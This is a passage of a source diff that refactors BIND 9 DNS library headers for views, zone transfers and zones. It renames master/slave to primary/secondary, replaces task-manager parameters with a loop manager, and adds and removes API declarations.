@@ -344,7 +327,13 @@ dns_view_flushanddetach(dns_view_t **viewp);
 void
 dns_view_weakattach(dns_view_t *source, dns_view_t **targetp);
 /*%<
- * Weakly attach '*targetp' to 'source'.
+ * Attach '*targetp' to 'source', incrementing the view's weak reference
+ * counter.
+ *
+ * Weak references are used by objects such as the resolver, requestmgr,
+ * ADB, and zones, which are subsidiary to the view; they need the view
+ * object to remain in existence as long as they persist, but they do
+ * not need to prevent it from being shut down.
  *
  * Requires:
  *
@@ -362,7 +351,8 @@ dns_view_weakattach(dns_view_t *source, dns_view_t **targetp);
 void
 dns_view_weakdetach(dns_view_t **targetp);
 /*%<
- * Detach '*viewp' from its view.
+ * Detach '*viewp' from its view. If this is the last weak reference,
+ * the view will be destroyed.
  *
  * Requires:
  *
@@ -374,28 +364,9 @@ dns_view_weakdetach(dns_view_t **targetp);
  */
 
 isc_result_t
-dns_view_createzonetable(dns_view_t *view);
-/*%<
- * Create a zonetable for the view.
- *
- * Requires:
- *
- *\li	'view' is a valid, unfrozen view.
- *
- *\li	'view' does not have a zonetable already.
- *
- * Returns:
- *
- *\li   	#ISC_R_SUCCESS
- *
- *\li	Any error that dns_zt_create() can return.
- */
-
-isc_result_t
-dns_view_createresolver(dns_view_t *view, isc_taskmgr_t *taskmgr,
-			unsigned int ntasks, unsigned int ndisp,
-			isc_socketmgr_t *socketmgr, isc_timermgr_t *timermgr,
-			unsigned int options, dns_dispatchmgr_t *dispatchmgr,
+dns_view_createresolver(dns_view_t *view, isc_loopmgr_t *loopmgr,
+			unsigned int ndisp, isc_nm_t *netmgr,
+			unsigned int options, isc_tlsctx_cache_t *tlsctx_cache,
 			dns_dispatch_t *dispatchv4, dns_dispatch_t *dispatchv6);
 /*%<
  * Create a resolver and address database for the view.
@@ -406,9 +377,8 @@ dns_view_createresolver(dns_view_t *view, isc_taskmgr_t *taskmgr,
  *
  *\li	'view' does not have a resolver already.
  *
- *\li	The requirements of dns_resolver_create() apply to 'taskmgr',
- *	'ntasks', 'socketmgr', 'timermgr', 'options', 'dispatchv4', and
- *	'dispatchv6'.
+ *\li	The requirements of dns_resolver_create() apply to 'ndisp',
+ *	'netmgr', 'options', 'tlsctx_cache', 'dispatchv4', and 'dispatchv6'.
  *
  * Returns:
  *
@@ -459,9 +429,9 @@ void
 dns_view_settransports(dns_view_t *view, dns_transport_list_t *list);
 
 void
-dns_view_setkeyring(dns_view_t *view, dns_tsig_keyring_t *ring);
+dns_view_setkeyring(dns_view_t *view, dns_tsigkeyring_t *ring);
 void
-dns_view_setdynamickeyring(dns_view_t *view, dns_tsig_keyring_t *ring);
+dns_view_setdynamickeyring(dns_view_t *view, dns_tsigkeyring_t *ring);
 /*%<
  * Set the view's static TSIG keys
  *
@@ -478,7 +448,7 @@ dns_view_setdynamickeyring(dns_view_t *view, dns_tsig_keyring_t *ring);
  */
 
 void
-dns_view_getdynamickeyring(dns_view_t *view, dns_tsig_keyring_t **ringp);
+dns_view_getdynamickeyring(dns_view_t *view, dns_tsigkeyring_t **ringp);
 /*%<
  * Return the views dynamic keys.
  *
@@ -519,6 +489,16 @@ dns_view_addzone(dns_view_t *view, dns_zone_t *zone);
  *\li	'zone' is a valid zone.
  */
 
+isc_result_t
+dns_view_delzone(dns_view_t *view, dns_zone_t *zone);
+/*%<
+ * Removes zone 'zone' from 'view'.
+ *
+ * Requires:
+ *
+ *\li	'zone' is a valid zone.
+ */
+
 void
 dns_view_freeze(dns_view_t *view);
 /*%<
@@ -537,8 +517,8 @@ void
 dns_view_thaw(dns_view_t *view);
 /*%<
  * Thaw view.  This allows zones to be added or removed at runtime.  This is
- * NOT thread-safe; the caller MUST have run isc_task_exclusive() prior to
- * thawing the view.
+ * NOT thread-safe; the caller MUST have paused the loopmgr prior to thawing
+ * the view.
  *
  * Requires:
  *
@@ -565,9 +545,6 @@ dns_view_find(dns_view_t *view, const dns_name_t *name, dns_rdatatype_t type,
  * match for 'name' among the zones, however, the cache DB is not consulted
  * unless 'use_static_stub' is false (see below about this argument).
  *
- * dns_view_find() is a backward compatible version equivalent to
- * dns_view_find2() with use_static_stub argument being false.
- *
  * Notes:
  *
  *\li	See the description of dns_db_find() for information about 'options'.
@@ -780,11 +757,11 @@ dns_viewlist_findzone(dns_viewlist_t *list, const dns_name_t *name,
  */
 
 isc_result_t
-dns_view_findzone(dns_view_t *view, const dns_name_t *name, dns_zone_t **zonep);
+dns_view_findzone(dns_view_t *view, const dns_name_t *name,
+		  unsigned int options, dns_zone_t **zonep);
 /*%<
  * Search for the zone 'name' in the zone table of 'view'.
- * If found, 'zonep' is (strongly) attached to it.  There
- * are no partial matches.
+ * If found, 'zonep' is (strongly) attached to it.
  *
  * Requires:
  *
@@ -793,14 +770,13 @@ dns_view_findzone(dns_view_t *view, const dns_name_t *name, dns_zone_t **zonep);
  * Returns:
  *\li	#ISC_R_SUCCESS		A matching zone was found.
  *\li	#ISC_R_NOTFOUND		No matching zone was found.
- *\li	others			An error occurred.
  */
 
 isc_result_t
 dns_view_load(dns_view_t *view, bool stop, bool newonly);
 
 isc_result_t
-dns_view_asyncload(dns_view_t *view, bool newonly, dns_zt_allloaded_t callback,
+dns_view_asyncload(dns_view_t *view, bool newonly, dns_zt_callback_t *callback,
 		   void *arg);
 /*%<
  * Load zones attached to this view.  dns_view_load() loads
@@ -878,28 +854,6 @@ dns_view_dialup(dns_view_t *view);
  * Perform dialup-time maintenance on the zones of 'view'.
  */
 
-isc_result_t
-dns_view_dumpdbtostream(dns_view_t *view, FILE *fp);
-/*%<
- * Dump the current state of the view 'view' to the stream 'fp'
- * for purposes of analysis or debugging.
- *
- * Currently the dumped state includes the view's cache; in the future
- * it may also include other state such as the address database.
- * It will not not include authoritative data since it is voluminous and
- * easily obtainable by other means.
- *
- * Requires:
- *
- *\li	'view' is valid.
- *
- *\li	'fp' refers to a file open for writing.
- *
- * Returns:
- * \li	ISC_R_SUCCESS	The cache was successfully dumped.
- * \li	others		An error occurred (see dns_master_dump)
- */
-
 isc_result_t
 dns_view_flushcache(dns_view_t *view, bool fixuponly);
 /*%<
@@ -952,153 +906,15 @@ dns_view_flushname(dns_view_t *view, const dns_name_t *name);
  *	other returns are failures.
  */
 
-isc_result_t
-dns_view_adddelegationonly(dns_view_t *view, const dns_name_t *name);
-/*%<
- * Add the given name to the delegation only table.
- *
- * Requires:
- *\li	'view' is valid.
- *\li	'name' is valid.
- *
- * Returns:
- *\li	#ISC_R_SUCCESS
- *\li	#ISC_R_NOMEMORY
- */
-
-isc_result_t
-dns_view_excludedelegationonly(dns_view_t *view, const dns_name_t *name);
-/*%<
- * Add the given name to be excluded from the root-delegation-only.
- *
- *
- * Requires:
- *\li	'view' is valid.
- *\li	'name' is valid.
- *
- * Returns:
- *\li	#ISC_R_SUCCESS
- *\li	#ISC_R_NOMEMORY
- */
-
-bool
-dns_view_isdelegationonly(dns_view_t *view, const dns_name_t *name);
-/*%<
- * Check if 'name' is in the delegation only table or if
- * rootdelonly is set that name is not being excluded.
- *
- * Requires:
- *\li	'view' is valid.
- *\li	'name' is valid.
- *
- * Returns:
- *\li	#true if the name is the table.
- *\li	#false otherwise.
- */
-
-void
-dns_view_setrootdelonly(dns_view_t *view, bool value);
-/*%<
- * Set the root delegation only flag.
- *
- * Requires:
- *\li	'view' is valid.
- */
-
-bool
-dns_view_getrootdelonly(dns_view_t *view);
-/*%<
- * Get the root delegation only flag.
- *
- * Requires:
- *\li	'view' is valid.
- */
-
 isc_result_t
 dns_view_freezezones(dns_view_t *view, bool freeze);
 /*%<
- * Freeze/thaw updates to master zones.
+ * Freeze/thaw updates to primary zones.
  *
  * Requires:
  * \li	'view' is valid.
  */
 
-void
-dns_view_setadbstats(dns_view_t *view, isc_stats_t *stats);
-/*%<
- * Set a adb statistics set 'stats' for 'view'.
- *
- * Requires:
- * \li	'view' is valid and is not frozen.
- *
- *\li	stats is a valid statistics supporting adb statistics
- *	(see dns/stats.h).
- */
-
-void
-dns_view_getadbstats(dns_view_t *view, isc_stats_t **statsp);
-/*%<
- * Get the adb statistics counter set for 'view'.  If a statistics set is
- * set '*statsp' will be attached to the set; otherwise, '*statsp' will be
- * untouched.
- *
- * Requires:
- * \li	'view' is valid and is not frozen.
- *
- *\li	'statsp' != NULL && '*statsp' != NULL
- */
-
-void
-dns_view_setresstats(dns_view_t *view, isc_stats_t *stats);
-/*%<
- * Set a general resolver statistics counter set 'stats' for 'view'.
- *
- * Requires:
- * \li	'view' is valid and is not frozen.
- *
- *\li	stats is a valid statistics supporting resolver statistics counters
- *	(see dns/stats.h).
- */
-
-void
-dns_view_getresstats(dns_view_t *view, isc_stats_t **statsp);
-/*%<
- * Get the general statistics counter set for 'view'.  If a statistics set is
- * set '*statsp' will be attached to the set; otherwise, '*statsp' will be
- * untouched.
- *
- * Requires:
- * \li	'view' is valid and is not frozen.
- *
- *\li	'statsp' != NULL && '*statsp' != NULL
- */
-
-void
-dns_view_setresquerystats(dns_view_t *view, dns_stats_t *stats);
-/*%<
- * Set a statistics counter set of rdata type, 'stats', for 'view'.  Once the
- * statistic set is installed, view's resolver will count outgoing queries
- * per rdata type.
- *
- * Requires:
- * \li	'view' is valid and is not frozen.
- *
- *\li	stats is a valid statistics created by dns_rdatatypestats_create().
- */
-
-void
-dns_view_getresquerystats(dns_view_t *view, dns_stats_t **statsp);
-/*%<
- * Get the rdatatype statistics counter set for 'view'.  If a statistics set is
- * set '*statsp' will be attached to the set; otherwise, '*statsp' will be
- * untouched.
- *
- * Requires:
- * \li	'view' is valid and is not frozen.
- *
- *\li	'statsp' != NULL && '*statsp' != NULL
- */
-
 bool
 dns_view_iscacheshared(dns_view_t *view);
 /*%<
@@ -1112,18 +928,14 @@ dns_view_iscacheshared(dns_view_t *view);
  *\li	#false otherwise.
  */
 
-isc_result_t
-dns_view_initntatable(dns_view_t *view, isc_taskmgr_t *taskmgr,
-		      isc_timermgr_t *timermgr);
+void
+dns_view_initntatable(dns_view_t *view, isc_loopmgr_t *loopmgr);
 /*%<
  * Initialize the negative trust anchor table for the view.
  *
  * Requires:
  * \li	'view' is valid.
- *
- * Returns:
- *\li	ISC_R_SUCCESS
- *\li	Any other result indicates failure
+ * \li	'loopmgr' is a valid loopmgr.
  */
 
 isc_result_t
@@ -1144,8 +956,8 @@ dns_view_getntatable(dns_view_t *view, dns_ntatable_t **ntp);
  *\li	ISC_R_NOTFOUND
  */
 
-isc_result_t
-dns_view_initsecroots(dns_view_t *view, isc_mem_t *mctx);
+void
+dns_view_initsecroots(dns_view_t *view);
 /*%<
  * Initialize security roots for the view, detaching any previously
  * existing security roots first.  (Note that secroots_priv is
@@ -1217,7 +1029,7 @@ dns_view_ntacovers(dns_view_t *view, isc_stdtime_t now, const dns_name_t *name,
 
 void
 dns_view_untrust(dns_view_t *view, const dns_name_t *keyname,
-		 dns_rdata_dnskey_t *dnskey);
+		 const dns_rdata_dnskey_t *dnskey);
 /*%<
  * Remove keys that match 'keyname' and 'dnskey' from the views trust
  * anchors.
@@ -1234,6 +1046,19 @@ dns_view_untrust(dns_view_t *view, const dns_name_t *keyname,
  * \li	'dnskey' is valid.
  */
 
+bool
+dns_view_istrusted(dns_view_t *view, const dns_name_t *keyname,
+		   const dns_rdata_dnskey_t *dnskey);
+/*%<
+ * Determine if the key defined by 'keyname' and 'dnskey' is
+ * trusted by 'view'.
+ *
+ * Requires:
+ * \li	'view' is valid.
+ * \li	'keyname' is valid.
+ * \li	'dnskey' is valid.
+ */
+
 isc_result_t
 dns_view_setnewzones(dns_view_t *view, bool allow, void *cfgctx,
 		     void (*cfg_destroy)(void **), uint64_t mapsize);
@@ -1361,6 +1186,127 @@ dns_view_staleanswerenabled(dns_view_t *view);
  *\li	'view' to be valid.
  */
 
-ISC_LANG_ENDDECLS
+void
+dns_view_flushonshutdown(dns_view_t *view, bool flush);
+/*%<
+ * Inform the view that the zones should (or should not) be flushed to
+ * disk on shutdown.
+ *
+ * Requires:
+ *\li	'view' to be valid.
+ */
+
+void
+dns_view_sfd_add(dns_view_t *view, const dns_name_t *name);
+/*%<
+ * Add 'name' to the synth-from-dnssec namespace tree for the
+ * view.  If the tree does not already exist create it.
+ *
+ * Requires:
+ *\li	'view' to be valid.
+ *\li	'name' to be valid.
+ */
 
-#endif /* DNS_VIEW_H */
+void
+dns_view_sfd_del(dns_view_t *view, const dns_name_t *name);
+/*%<
+ * Delete 'name' to the synth-from-dnssec namespace tree for
+ * the view when the count of previous adds and deletes becomes
+ * zero.
+ *
+ * Requires:
+ *\li	'view' to be valid.
+ *\li	'name' to be valid.
+ */
+
+void
+dns_view_sfd_find(dns_view_t *view, const dns_name_t *name,
+		  dns_name_t *foundname);
+/*%<
+ * Find the enclosing name to the synth-from-dnssec namespace tree for 'name'
+ * in the specified view.
+ *
+ * Requires:
+ *\li	'view' to be valid.
+ *\li	'name' to be valid.
+ *\li	'foundname' to be valid with a buffer sufficient to hold the name.
+ */
+
+isc_result_t
+dns_view_getresolver(dns_view_t *view, dns_resolver_t **resolverp);
+/*%<
+ * Return the resolver associated with the view.
+ */
+
+void
+dns_view_setudpsize(dns_view_t *view, uint16_t udpsize);
+/*%<
+ * Set the EDNS UDP buffer size advertised by the server.
+ */
+
+uint16_t
+dns_view_getudpsize(dns_view_t *view);
+/*%<
+ * Get the current EDNS UDP buffer size.
+ */
+
+dns_dispatchmgr_t *
+dns_view_getdispatchmgr(dns_view_t *view);
+/*%<
+ * Get the attached dispatch manager for the view; this will be used
+ * by the resolver and request managers to send and receive DNS
+ * messages.
+ */
+
+isc_result_t
+dns_view_addtrustedkey(dns_view_t *view, dns_rdatatype_t rdtype,
+		       const dns_name_t *keyname, isc_buffer_t *databuf);
+/*%<
+ * Add a DNSSEC trusted key to a view of class 'IN'.  'rdtype' is the type
+ * of the RR data for the key, either DNSKEY or DS.  'keyname' is the DNS
+ * name of the key, and 'databuf' stores the RR data.
+ *
+ * Requires:
+ *
+ *\li	'view' is a valid view.
+ *
+ *\li	'view' is class 'IN'.
+ *
+ *\li	'keyname' is a valid name.
+ *
+ *\li	'keydatabuf' is a valid buffer.
+ *
+ * Returns:
+ *
+ *\li	#ISC_R_SUCCESS				On success.
+ *
+ *\li	Anything else				Failure.
+ */
+
+isc_result_t
+dns_view_apply(dns_view_t *view, bool stop, isc_result_t *sub,
+	       isc_result_t (*action)(dns_zone_t *, void *), void *uap);
+/*%<
+ * Call dns_zt_apply on the view's zonetable.
+ *
+ * Returns:
+ * \li  ISC_R_SUCCESS if action was applied to all nodes.  If 'stop' is
+ *	false and 'sub' is non NULL then the first error (if any)
+ *	reported by 'action' is returned in '*sub'. If 'stop' is true,
+ *	the first error code from 'action' is returned.
+ *
+ * \li ISC_R_SHUTTINGDOWN if the view is in the process of shutting down.
+ */
+
+void
+dns_view_getadb(dns_view_t *view, dns_adb_t **adbp);
+/*%<
+ * Get the view's adb if it exist.
+ *
+ * Requires:
+ *
+ *\li	'view' is a valid view.
+ *\li	'adbp' is non-NULL and '*adbp' is NULL.
+ */
+
+ISC_LANG_ENDDECLS
diff --git a/lib/dns/include/dns/xfrin.h b/lib/dns/include/dns/xfrin.h
index cb7364768d..2d956a38b2 100644
--- a/lib/dns/include/dns/xfrin.h
+++ b/lib/dns/include/dns/xfrin.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,8 +11,7 @@
  * information regarding copyright ownership.
  */
 
-#ifndef DNS_XFRIN_H
-#define DNS_XFRIN_H 1
+#pragma once
 
 /*****
 ***** Module Info
@@ -26,10 +27,15 @@
  ***/
 
 #include <isc/lang.h>
+#include <isc/refcount.h>
+#include <isc/tls.h>
 
 #include <dns/transport.h>
 #include <dns/types.h>
 
+/* Define to 1 for detailed reference tracing */
+#undef DNS_XFRIN_TRACE
+
 /***
  *** Types
  ***/
@@ -37,7 +43,7 @@
 /*%
  * A transfer in progress.  This is an opaque type.
  */
-typedef struct dns_xfrin_ctx dns_xfrin_ctx_t;
+typedef struct dns_xfrin dns_xfrin_t;
 
 /***
  *** Functions
@@ -47,20 +53,27 @@ ISC_LANG_BEGINDECLS
 
 isc_result_t
 dns_xfrin_create(dns_zone_t *zone, dns_rdatatype_t xfrtype,
-		 const isc_sockaddr_t *masteraddr,
-		 const isc_sockaddr_t *sourceaddr, isc_dscp_t dscp,
-		 dns_tsigkey_t *tsigkey, dns_transport_t *transport,
-		 isc_mem_t *mctx, isc_nm_t *netmgr, dns_xfrindone_t done,
-		 dns_xfrin_ctx_t **xfrp);
+		 const isc_sockaddr_t *primaryaddr,
+		 const isc_sockaddr_t *sourceaddr, dns_tsigkey_t *tsigkey,
+		 dns_transport_t *transport, isc_tlsctx_cache_t *tlsctx_cache,
+		 isc_mem_t *mctx, dns_xfrindone_t done, dns_xfrin_t **xfrp);
 /*%<
  * Attempt to start an incoming zone transfer of 'zone'
- * from 'masteraddr', creating a dns_xfrin_ctx_t object to
+ * from 'primaryaddr', creating a dns_xfrin_t object to
  * manage it.  Attach '*xfrp' to the newly created object.
  *
  * Iff ISC_R_SUCCESS is returned, '*done' is called with
  * 'zone' and a result code as arguments when the transfer finishes.
  *
  * Requires:
+ *\li	'xfrp' != NULL and '*xfrp' == NULL.
+ *
+ *\li	'done' != NULL.
+ *
+ *\li	'primaryaddr' has a non-zero port number.
+ *
+ *\li	'zone' is a valid zone and is associated with a view.
+ *
  *\li	'xfrtype' is dns_rdatatype_axfr, dns_rdatatype_ixfr
  *	or dns_rdatatype_soa (soa query followed by axfr if
  *	serial is greater than current serial).
@@ -70,26 +83,22 @@ dns_xfrin_create(dns_zone_t *zone, dns_rdatatype_t xfrtype,
  */
 
 void
-dns_xfrin_shutdown(dns_xfrin_ctx_t *xfr);
+dns_xfrin_shutdown(dns_xfrin_t *xfr);
 /*%<
  * If the zone transfer 'xfr' has already finished,
  * do nothing.  Otherwise, abort it and cause it to call
  * its done callback with a status of ISC_R_CANCELED.
  */
 
-void
-dns_xfrin_detach(dns_xfrin_ctx_t **xfrp);
-/*%<
- * Detach a reference to a zone transfer object.
- * Caller to maintain external locking if required.
- */
-
-void
-dns_xfrin_attach(dns_xfrin_ctx_t *source, dns_xfrin_ctx_t **target);
-/*%<
- * Caller to maintain external locking if required.
- */
-
+#if DNS_XFRIN_TRACE
+#define dns_xfrin_ref(ptr)   dns_xfrin__ref(ptr, __func__, __FILE__, __LINE__)
+#define dns_xfrin_unref(ptr) dns_xfrin__unref(ptr, __func__, __FILE__, __LINE__)
+#define dns_xfrin_attach(ptr, ptrp) \
+	dns_xfrin__attach(ptr, ptrp, __func__, __FILE__, __LINE__)
+#define dns_xfrin_detach(ptrp) \
+	dns_xfrin__detach(ptrp, __func__, __FILE__, __LINE__)
+ISC_REFCOUNT_TRACE_DECL(dns_xfrin);
+#else
+ISC_REFCOUNT_DECL(dns_xfrin);
+#endif
 ISC_LANG_ENDDECLS
-
-#endif /* DNS_XFRIN_H */
diff --git a/lib/dns/include/dns/zone.h b/lib/dns/include/dns/zone.h
index c417c25a8f..b7084676db 100644
--- a/lib/dns/include/dns/zone.h
+++ b/lib/dns/include/dns/zone.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,8 +11,7 @@
  * information regarding copyright ownership.
  */
 
-#ifndef DNS_ZONE_H
-#define DNS_ZONE_H 1
+#pragma once
 
 /*! \file dns/zone.h */
 
@@ -25,8 +26,10 @@
 #include <isc/formatcheck.h>
 #include <isc/lang.h>
 #include <isc/rwlock.h>
+#include <isc/tls.h>
 
 #include <dns/catz.h>
+#include <dns/diff.h>
 #include <dns/master.h>
 #include <dns/masterdump.h>
 #include <dns/rdatastruct.h>
@@ -34,10 +37,13 @@
 #include <dns/types.h>
 #include <dns/zt.h>
 
+/* Define to 1 for detailed reference tracing */
+#undef DNS_ZONE_TRACE
+
 typedef enum {
 	dns_zone_none,
-	dns_zone_master,
-	dns_zone_slave,
+	dns_zone_primary,
+	dns_zone_secondary,
 	dns_zone_mirror,
 	dns_zone_stub,
 	dns_zone_staticstub,
@@ -46,6 +52,14 @@ typedef enum {
 	dns_zone_redirect
 } dns_zonetype_t;
 
+#ifndef dns_zone_master
+#define dns_zone_master dns_zone_primary
+#endif /* dns_zone_master */
+
+#ifndef dns_zone_slave
+#define dns_zone_slave dns_zone_secondary
+#endif /* dns_zone_slave */
+
 typedef enum {
 	dns_zonestat_none = 0,
 	dns_zonestat_terse,
@@ -60,8 +74,8 @@ typedef enum {
 	DNS_ZONEOPT_FATALNS = 1 << 4,	    /*%< DNS_ZONEOPT_CHECKNS is fatal */
 	DNS_ZONEOPT_MULTIMASTER = 1 << 5,   /*%< this zone has multiple
 						 primaries */
-	DNS_ZONEOPT_USEALTXFRSRC = 1 << 6,  /*%< use alternate transfer sources
-					     */
+	DNS_ZONEOPT_USEALTXFRSRC = 1 << 6,  /*%< use alternate transfer sources.
+						 Obsoleted. */
 	DNS_ZONEOPT_CHECKNAMES = 1 << 7,    /*%< check-names */
 	DNS_ZONEOPT_CHECKNAMESFAIL = 1 << 8, /*%< fatal check-name failures */
 	DNS_ZONEOPT_CHECKWILDCARD = 1 << 9, /*%< check for internal wildcards */
@@ -79,15 +93,15 @@ typedef enum {
 					      */
 	DNS_ZONEOPT_NOTIFYTOSOA = 1 << 21,   /*%< Notify the SOA MNAME */
 	DNS_ZONEOPT_NSEC3TESTZONE = 1 << 22, /*%< nsec3-test-zone */
-	DNS_ZONEOPT_SECURETOINSECURE = 1 << 23, /*%< dnssec-secure-to-insecure
-						 */
-	DNS_ZONEOPT_DNSKEYKSKONLY = 1 << 24,	/*%< dnssec-dnskey-kskonly */
-	DNS_ZONEOPT_CHECKDUPRR = 1 << 25,	/*%< check-dup-records */
-	DNS_ZONEOPT_CHECKDUPRRFAIL = 1 << 26,	/*%< fatal check-dup-records
-						 * failures */
-	DNS_ZONEOPT_CHECKSPF = 1 << 27,		/*%< check SPF records */
-	DNS_ZONEOPT_CHECKTTL = 1 << 28,		/*%< check max-zone-ttl */
-	DNS_ZONEOPT_AUTOEMPTY = 1 << 29,	/*%< automatic empty zone */
+	/* DNS_ZONEOPT_SECURETOINSECURE = 1 << 23, */
+	DNS_ZONEOPT_DNSKEYKSKONLY = 1 << 24,  /*%< dnssec-dnskey-kskonly */
+	DNS_ZONEOPT_CHECKDUPRR = 1 << 25,     /*%< check-dup-records */
+	DNS_ZONEOPT_CHECKDUPRRFAIL = 1 << 26, /*%< fatal check-dup-records
+					       * failures */
+	DNS_ZONEOPT_CHECKSPF = 1 << 27,	      /*%< check SPF records */
+	DNS_ZONEOPT_CHECKTTL = 1 << 28,	      /*%< check max-zone-ttl */
+	DNS_ZONEOPT_AUTOEMPTY = 1 << 29,      /*%< automatic empty zone */
+	DNS_ZONEOPT_CHECKSVCB = 1 << 30,      /*%< check SVBC records */
 	DNS_ZONEOPT___MAX = UINT64_MAX, /* trick to make the ENUM 64-bit wide */
 } dns_zoneopt_t;
 
@@ -99,7 +113,6 @@ typedef enum {
 	DNS_ZONEKEY_MAINTAIN = 0x00000002U, /*%< publish/sign on schedule */
 	DNS_ZONEKEY_CREATE = 0x00000004U,   /*%< make keys when needed */
 	DNS_ZONEKEY_FULLSIGN = 0x00000008U, /*%< roll to new keys immediately */
-	DNS_ZONEKEY_NORESIGN = 0x00000010U, /*%< no automatic resigning */
 	DNS_ZONEKEY___MAX = UINT64_MAX, /* trick to make the ENUM 64-bit wide */
 } dns_zonekey_t;
 
@@ -136,8 +149,8 @@ ISC_LANG_BEGINDECLS
  ***	Functions
  ***/
 
-isc_result_t
-dns_zone_create(dns_zone_t **zonep, isc_mem_t *mctx);
+void
+dns_zone_create(dns_zone_t **zonep, isc_mem_t *mctx, unsigned int tid);
 /*%<
  *	Creates a new empty zone and attach '*zonep' to it.
  *
@@ -147,11 +160,6 @@ dns_zone_create(dns_zone_t **zonep, isc_mem_t *mctx);
  *
  * Ensures:
  *\li	'*zonep' refers to a valid zone.
- *
- * Returns:
- *\li	#ISC_R_SUCCESS
- *\li	#ISC_R_NOMEMORY
- *\li	#ISC_R_UNEXPECTED
  */
 
 void
@@ -381,6 +389,24 @@ dns_zone_unlock_keyfiles(dns_zone_t *zone);
  *\li	'zone' to be a valid zone.
  */
 
+isc_result_t
+dns_zone_dnskey_inuse(dns_zone_t *zone, dns_rdata_t *rdata, bool *inuse);
+/*%<
+ *	Check if the DNSKEY record 'rdata' is used by 'zone' for zone signing.
+ *	Store the result in 'inuse'.
+ *
+ * Require:
+ *\li	'zone' to be a valid zone.
+ *\li	'rdata' to represent a DNSKEY, CDNSKEY, or CDS record.
+ *
+ * Returns:
+ *\li	#ISC_R_SUCCESS
+ *\li	Any error result from dns_dnssec_keyfromrdata, dns_rdata_tostruct,
+ *	dns_dnssec_make_dnskey, dns_ds_buildrdata, or
+ *	dns_dnssec_findmatchingkeys.
+ *
+ */
+
 isc_result_t
 dns_zone_load(dns_zone_t *zone, bool newonly);
 
@@ -410,15 +436,14 @@ dns_zone_loadandthaw(dns_zone_t *zone);
  */
 
 isc_result_t
-dns_zone_asyncload(dns_zone_t *zone, bool newonly, dns_zt_zoneloaded_t done,
+dns_zone_asyncload(dns_zone_t *zone, bool newonly, dns_zt_callback_t done,
 		   void *arg);
 /*%<
  * Cause the database to be loaded from its backing store asynchronously.
  * Other zone maintenance functions are suspended until this is complete.
  * When finished, 'done' is called to inform the caller, with 'arg' as
- * its first argument and 'zone' as its second.  (Normally, 'arg' is
- * expected to point to the zone table but is left undefined for testing
- * purposes.)
+ * its argument. (Normally, 'arg' is expected to point to the zone table
+ * but is left undefined for testing purposes.)
  *
  * Require:
  *\li	'zone' to be a valid zone.
@@ -438,28 +463,6 @@ dns__zone_loadpending(dns_zone_t *zone);
  * tests.)
  */
 
-void
-dns_zone_attach(dns_zone_t *source, dns_zone_t **target);
-/*%<
- *	Attach '*target' to 'source' incrementing its external
- * 	reference count.
- *
- * Require:
- *\li	'zone' to be a valid zone.
- *\li	'target' to be non NULL and '*target' to be NULL.
- */
-
-void
-dns_zone_detach(dns_zone_t **zonep);
-/*%<
- *	Detach from a zone decrementing its external reference count.
- *	If this was the last external reference to the zone it will be
- * 	shut down and eventually freed.
- *
- * Require:
- *\li	'zonep' to point to a valid zone.
- */
-
 void
 dns_zone_iattach(dns_zone_t *source, dns_zone_t **target);
 /*%<
@@ -469,7 +472,7 @@ dns_zone_iattach(dns_zone_t *source, dns_zone_t **target);
  * 	object from being freed but not from shutting down.
  *
  * Require:
- *\li	The caller is running in the context of the zone's task.
+ *\li	The caller is running in the context of the zone's loop.
  *\li	'zone' to be a valid zone.
  *\li	'target' to be non NULL and '*target' to be NULL.
  */
@@ -482,7 +485,7 @@ dns_zone_idetach(dns_zone_t **zonep);
  * 	zone, it will be freed.
  *
  * Require:
- *\li	The caller is running in the context of the zone's task.
+ *\li	The caller is running in the context of the zone's loop.
  *\li	'zonep' to point to a valid zone.
  */
 
@@ -622,32 +625,40 @@ dns_zone_dumptostream(dns_zone_t *zone, FILE *fd, dns_masterformat_t format,
  */
 
 void
-dns_zone_maintenance(dns_zone_t *zone);
+dns_zone_setprimaries(dns_zone_t *zone, isc_sockaddr_t *addresses,
+		      isc_sockaddr_t *sources, dns_name_t **keynames,
+		      dns_name_t **tlsnames, uint32_t count);
 /*%<
- *	Perform regular maintenance on the zone.  This is called as a
- *	result of a zone being managed.
+ *	Set the list of primary servers for the zone.
  *
- * Require
+ * Require:
  *\li	'zone' to be a valid zone.
+ *\li	'addresses' array of isc_sockaddr_t with port set or NULL.
+ *\li	'count' the number of primaries.
+ *\li	'keynames' array of dns_name_t's for tsig keys or NULL.
+ *
+ *\li	If 'addresses' is NULL then 'count' must be zero.
+ *
+ * Returns:
+ *\li	#ISC_R_SUCCESS
+ *\li	#ISC_R_NOMEMORY
+ *\li      Any result dns_name_dup() can return, if keynames!=NULL
  */
 
-isc_result_t
-dns_zone_setprimaries(dns_zone_t *zone, const isc_sockaddr_t *primaries,
-		      dns_name_t **keynames, dns_name_t **tlsnames,
-		      uint32_t count);
+void
+dns_zone_setparentals(dns_zone_t *zone, isc_sockaddr_t *addresses,
+		      isc_sockaddr_t *sources, dns_name_t **keynames,
+		      dns_name_t **tlsnames, uint32_t count);
 /*%<
- *	Set the list of master servers for the zone.
+ *	Set the list of parental agents for the zone.
  *
  * Require:
  *\li	'zone' to be a valid zone.
- *\li	'primaries' array of isc_sockaddr_t with port set or NULL.
+ *\li	'addresses' array of isc_sockaddr_t with port set or NULL.
  *\li	'count' the number of primaries.
- *\li      'keynames' array of dns_name_t's for tsig keys or NULL.
- *
- *  \li    dns_zone_setprimaries() is just a wrapper to setprimarieswithkeys(),
- *      passing NULL in the keynames field.
+ *\li	'keynames' array of dns_name_t's for tsig keys or NULL.
  *
- * \li	If 'primaries' is NULL then 'count' must be zero.
+ *\li	If 'addresses' is NULL then 'count' must be zero.
  *
  * Returns:
  *\li	#ISC_R_SUCCESS
@@ -655,9 +666,9 @@ dns_zone_setprimaries(dns_zone_t *zone, const isc_sockaddr_t *primaries,
  *\li      Any result dns_name_dup() can return, if keynames!=NULL
  */
 
-isc_result_t
